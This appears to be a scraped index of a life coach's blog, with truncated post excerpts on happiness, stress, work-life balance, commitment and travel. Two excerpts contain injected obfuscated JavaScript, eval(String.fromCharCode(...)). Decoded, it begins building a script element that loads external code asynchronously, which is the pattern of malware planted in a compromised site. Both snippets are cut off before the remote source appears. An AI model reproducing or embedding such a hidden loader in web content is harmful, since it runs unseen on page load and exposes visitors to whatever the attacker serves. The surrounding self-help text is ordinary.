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WHAT CAUSES YOUR HAPPINESS?

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WHAT DOES IT TAKE FOR YOU TO BE HAPPY?

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WHAT HAVE YOU LEARNT FROM THIS YEAR?

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ARE YOU FEELING UNDER PRESSURE?

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THE GREATEST JOURNEY IS THE ONE WITHIN…

Have you ever wondered what it would take to make the changes in your life that would bring you more peace and happiness? eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 10, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 10, 101, 1
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LIVE LIFE IN A RELAXED MANNER

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HAPPINESS AND SUCCESS ARE HABITS OF THINKING

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DO YOU DARE TO CHANGE?

This is my favourite time of year as we step into a brand new year and have the opportunity to ask ourselves: • This year who do I want to be? • What do I want to do and • What do I want to create? With each New Year we can recreate ourselves, learn from our past mistakes and challenges and plan to do things differently and create a vision and goals that satisfies and excites us. Having said that, as I was reading the newspapers and articles over the Christmas and New Year period I was surprised to find myself becoming disillusioned and frustrated with the same old messages we
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DAILY HEALTHY HABITS

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TESTING OUR LIMITS

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LIVING IN THE MOMENT

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CREATING PERSONAL EXCELLENCE

The key to creating your personal and business success is to understand yourself and work towards personal mastery - being aware of exactly who we are reflects in every aspect of our personal life, relationships and our business life. One of my favourite quotes is: "No man is free who is not a master of himself." (Epictetus) Part of my mission in life is to always be working towards being the best I can be in all areas of my life, as well as being an inspiring role model for my family, friends and clients. This is not always easy on those days when life throws a curve ball at you, or you have
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WISDOMS FROM AROUND THE WORLD

The journey begins - we are full of excitement and anticipation - the suitcase is packed with our hiking gear and walking poles and we are ready to set off for 6 weeks to discover the great outdoors of 8 countries. The highlights will be the beauty of the Swiss & Austrian Alps and onto Canada to hike around the stunning lakes and Canadian Rocky Mountains. Over the next 6 weeks I will be sharing the wisdoms from the cultures and people on our travels and some special photos. I will be starting the journey in a few days when we arrive in Lake Como, Italy...see you then...Arrivederci! Julie
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JUGGLING OUR PERSONAL & PROFESSIONAL PRIORITIES

I constantly hear people around me saying, “I’m just too busy”, “I don’t have time to do it all”, “there’s not enough hours in a day”. Does that sound familiar to you? To live a fulfilling, balanced life we need to be more in conscious control of our habits and lifestyle.  Effective personal management creates freedom. Having spent 15 years of the first part of my career in professional health care and nursing, I spent a good deal of time with people who were faced with a terminal illness or potentially fatal diagnosis. The common thread with these people was the realisat
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10 TIPS FOR AN EMOTIONALLY HEALTHY NEW YEAR

It's hard to believe the first month or the year is over! I don't know about you but I had a great Christmas and holiday break and also overindulged in all the festive goodies, and along with that all my usual routines and rituals went out the window. So in January as I was getting focused and clarifying my goals for the year I noticed how sluggish I felt and my motivation was lagging a little. I knew exactly what to do to get back on track and I am now feeling energised and motivated again. Firstly I started my daily rituals - meditation, exercise, affirmations, gratitude and planning for
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IT’S THAT TIME OF THE YEAR!

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CREATE A BEAUTIFUL LIFE

Such a simple way to create a beautiful life. Have a beautiful day... Smiles Julie   eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 10, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 10, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 10, 101, 108, 101, 109, 46, 115, 114, 99,
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PLAYING HOOKY

I had had a hectic few months of life and business and was just getting over a week of feeling terrible with a head cold. I really felt like I needed to recharge my batteries and take some time away from the day-to-day hustle and bustle, so I decide to take the day off work and go visit a friend in the country. As I was driving out of the busyness of the city and enjoying the hours journey south in the countryside, I was reminded of the importance of taking time out and to just have some peace and quiet, time to just wind down and reflect. I had a lovely visit with my friend and by the end of
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SPRING CLEANING!

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COMMITMENT – THE KEY TO SUCCESS IN LIFE & BUSINESS

There are only a few key principles to success at anything in life, and one of those is commitment. A true leader commits to their family, their organization and themselves...to be the very best they can be in all areas of their life. Words of wisdom from the great genius Johann Wolfgang von Goethe ~ writer, artist, athlete, politician and visionary. "Until one is committed their is hesitancy, a chance to draw back...There is one elementary truth - ignorance of which kills countless ideas and splendid plans. This is, that the moment one definitely commits to oneself, then Providence moves to
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CREATE A SENSE OF BALANCE

Work life balance - why is it that it always seems to elude us? As you might have discovered, finding and maintaining the balance that suits you best is not always that straightforward. For me this past month has been a particularly busy one, and a little out of balance at times, with a very full work schedule, preparing my 18-year-old son to go overseas for several months as well as my own preparation to travel to Europe next month. Creating a sense of balance in your life requires constant attention and is definitely worth the effort because when we get out of balance we find stress begin
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CREATE A SENSE OF BALANCE

Work life balance - why is it that it always seems to elude us? As you might have discovered, finding and maintaining the balance that suits you best is not always that straightforward. For me this past month has been a particularly busy one, and a little out of balance at times, with a very full work schedule, preparing my 18-year-old son to go overseas for several months as well as my own preparation to travel to Europe next month. Creating a sense of balance in your life requires constant attention and is definitely worth the effort because when we get out of balance we find stress begin
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REFLECTION

As we begin a new year it is a wonderful opportunity to reflect on the past 12 months and celebrate our successes and consider what improvements we would like to make as we plan for a positive and successful 2011. It has been a full and exciting year for me and here are some of my learnings. Every day we choose our attitudes and therefore our outcomes so make a choice to make every day the best it possibly can be (even when we are feeling challenged). Be clear on what's important to you. Know what your priorities are and what's most important in your life so you can plan activities and hav
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Is your vision clear?

Legendary coach John Wooden said, "Don't mistake activity for achievement". You may be busy from the moment your alarm goes off in the morning until the time your head hits the pillow at night, but are you accomplishing anything meaningful toward the fulfillment of your goals? Are you making forward progress, or are you just running in one place? Last month we looked at creating new strategies for more effective time management. What I have found is that our lack of time and busyness is not always a reflection of the commitments we have in our life but can also be attributed to not having a
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Time is a state of mind

If you have been feeling “life is so busy, and there is never enough time in a day”, its time to look at how you are prioritizing your days. Remembering that “attitude is everything” , so if we feel busy in our head that will be reflected in our outer life. Sometimes we forget that we receive–every day–a gift that holds the potential of a million-dollar impact on our life. That gift is 24 hours of time that you can spend however you choose for profit or for pleasure. Effective time organisation provides no additional time, but it produces multiple benefits by helping you bec
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More Awareness, Less Stress

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Imagine having less stress and more peace and happiness

Have you ever noticed when two people in identical, high-stress situations, that one of them gets stressed out and the other one handles the situation with ease and grace? It's because of the different ways they internalize what's going on.  Stress doesn't exist in the outside world; it just exists inside your head.  It's up to you which way you choose to perceive it. Stress is an internal phenomenon. And remember - stress is not good or bad.  It just IS.  We need a certain amount of stress to motivate us but we need to understand ourselves to know when "too much" is having an adverse
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A Quick tip to De-Stress

Hi Here is a quick tip to keep stress levels down and feeling energized everyday. Have a great week! [youtube=http://www.youtube.com/watch?v=PuoFClYaR1s]
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Less Stress, More Success

Having just returned from our Bali Women’s Retreat, I was reminded how easily our stress can sneak up on us with the constant demands of our busy life, and how rewarding it is to take time out to relax and rejuvenate and recharge the batteries. We all experience stress from time to time. However when stress gets to be too much, it can take its toll on our and health and happiness, so having effective strategies to reduce stress levels are essential in restoring our inner peace, health and wellbeing. Start today to create daily healthy habits and notice how more relaxed you feel. Here’s
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This Video on Earth Hour is Quite Inspiring

This video on Earth Hour is quite inspiring - what will you be doing when the lights go off?[youtube=http://www.youtube.com/watch?v=FclcMfzjwug&feature=featured&playnext_from=TL&videos=4qJ9T3RRDvw&playnext=1]
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Living a life on Purpose

My purpose here is to inspire and motivate you to live a life on purpose and with conscious choice. I will also be sharing tips on leading a life in balance and give you some tools and strategies to create personal mastery and success in your life. To get started, have you thought about what you want to create this year - do you want it to be different from last year, what else would you like to create...?  If you haven't thought about this, written it down and are very clear on what you do want to create, there is a good chance you will just get a repeat of last year. As an individual, whe
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Welcome!!

My purpose here is to inspire and motivate you to live a life on purpose and with conscious choice and also to share tips on leading a life in balance and give you some tools and strategies to create personal mastery and success in your life. To get started, have you thought about what you want to create this year - do you want it to be different from last year, what else would you like to create...?  if you haven't thought about this, written it down and are very clear on what you do want to create, there is a good chance you will just get a repeat of last year. As an individual, when was
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